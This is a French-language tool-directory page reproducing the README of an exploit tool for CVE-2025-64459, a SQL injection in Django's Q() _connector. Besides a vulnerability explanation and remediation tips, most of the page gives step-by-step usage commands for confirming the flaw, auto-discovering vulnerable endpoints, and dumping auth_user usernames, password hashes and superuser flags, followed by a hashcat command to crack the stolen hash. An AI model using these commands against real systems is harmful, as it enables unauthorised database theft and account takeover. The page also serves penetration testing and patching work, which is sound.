Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — exploit de l'injection SQL du connecteur Django (CVE-2025-64459) | canal RedTeam Brasil | Kitploit
Outils/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — exploit de l'injection SQL du connecteur Django (CVE-2025-64459) | canal RedTeam Brasil

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

connector-sqli

Exploitation automatisée d'injection SQL dans l'ORM de Django
Q-object _connector · CVE-2025-64459

cve django python license

🎥 chaîne RedTeam Brasil — sécurité offensive, en pratique, en portugais.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   chaîne RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    utilisation autorisée uniquement

📌 À propos de la vulnérabilité — CVE-2025-64459

L'ORM de Django construit des filtres avec des objets Q(). Le constructeur Q(*args, _connector=None, _negated=False, **kwargs) accepte le kwarg spécial _connector — la chaîne (AND/OR) qui relie les conditions dans le WHERE.

Dans les versions affectées cette valeur n'était pas assainie et allait brute dans le SQL. Lorsque l'application transmet directement une entrée utilisateur à Q() / .filter() / .exclude() / .get() via l'expansion de dictionnaire — l'anti-patron classique :

root@kitploit:~
# ❌ VULNÉRABLE
posts = Post.objects.filter(Q(**request.GET))     # ou .filter(**request.GET)

…l'attaquant contrôle _connector et injecte du SQL arbitraire entre les conditions (valable pour SQLite, PostgreSQL, MySQL, etc.).

ÉlémentDétail
CVECVE-2025-64459
Composantdjango.db.models — Q() / QuerySet (_connector et alias de colonne)
Versions affectéesDjango < 4.2.26, < 5.1.14, < 5.2.8
Correctifmettre à jour vers 4.2.26 / 5.1.14 / 5.2.8 (ou supérieur)
Impactlecture arbitraire de la base de données (UNION/blind) → dump des identifiants et escalade de la chaîne

Avec DEBUG = True l'exploitation devient triviale : la page d'erreur de Django renvoie le SQL construit, la table de base et le nombre de colonnes — exactement ce que l'outil utilise pour construire le UNION tout seul.


⚡ Fonctionnalités

Explorateur générique (non lié à une cible) et automatisé :

  • 🧭 Trouve le point de terminaison tout seul (--auto) : crawl de la page d'accueil + robots/sitemap + wordlist intégrée, en testant chaque route via le FieldError de Django.
  • 🔎 Détecte le point de terminaison vulnérable et DEBUG=True via FieldError.
  • 🧠 Auto-découvre la table de base et le nombre de colonnes en lisant la SQL de la page d'erreur.
  • 🎯 Trouve la colonne réfléchie avec des marqueurs → extraction par délimiteurs (indépendant de la façon dont la page rend).
  • 🗃️ Liste les tables → liste les colonnes → dump n'importe quelle table (basé sur UNION).
  • 🐚 Mode interactif (menu : table → colonnes → dump).
  • 🧪 Proxy (Burp/mitmproxy via --proxy) et cibles HTTPS.

🚀 Installation

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 Utilisation

root@kitploit:~
# 1) confirmer la vulnérabilité
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) lister les tables
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) lister les colonnes d'une table
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) dumper (colonnes spécifiques ou toutes)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) raccourci pour les utilisateurs Django
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) expression SQL libre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) MODE INTERACTIF (menu table → colonnes → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) VOUS NE CONNAISSEZ PAS LA ROUTE ? laissez-le trouver tout seul
python3 rtb_connector_sqli.py -u http://ALVO auto              # découvre et liste seulement
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # découvre et exploite directement

Avec --auto (ou la sous-commande auto) il fait un crawl de la page d'accueil + robots.txt/sitemap.xml et lance une wordlist intégrée de routes de listage/recherche (EN + PT-BR + API), en marquant celles qui renvoient un FieldError de Django. Si vous passez un --path erroné, il bascule automatiquement en mode découverte.

Options

DrapeauPour quoi
--path /buscarpoint de terminaison vulnérable (défaut /list)
--autotrouve le point de terminaison tout seul (crawl + wordlist)
--wordlist rotas.txtroutes supplémentaires pour la découverte (1 par ligne)
--base app_modelforce la table de base (si l'auto-détection échoue)
--proxy http://127.0.0.1:8080envoie tout vers Burp / mitmproxy
root@kitploit:~
# tout via Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# ou par variable d'environnement (sans le drapeau)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ Exemple de sortie

root@kitploit:~
[*] Cible : http://ALVO/list
[+] Champs du model (6) : author, content, created_at, id, status, title
[+] SQLi confirmée dans `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Table de base : <app>_<model>   ·   colonnes dans le SELECT : 6
[+] Colonne réfléchie (lecture) : position 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

Avec le hash du superutilisateur en main :

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django utilise pbkdf2_sha256

🛡️ Remédiation

  1. Mettre à jour Django vers 4.2.26 / 5.1.14 / 5.2.8+.
  2. Ne jamais repasser request.GET directement à Q()/.filter(). Utilisez une liste blanche :
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False en production (ne fuyez pas SQL/tables/settings).
  4. Utilisateur de la base de données avec le moindre privilège.

⚖️ Avis légal

Outil éducatif et pour tests autorisés uniquement (labs, CTF, bug bounty dans le scope, pentest sous contrat). Toute utilisation contre des systèmes sans autorisation explicite est un crime — vous êtes le seul responsable.


Fait par RedTeam Brasil · vous avez aimé ? laissez un like et abonnez-vous à la chaîne.

Télécharger l’outil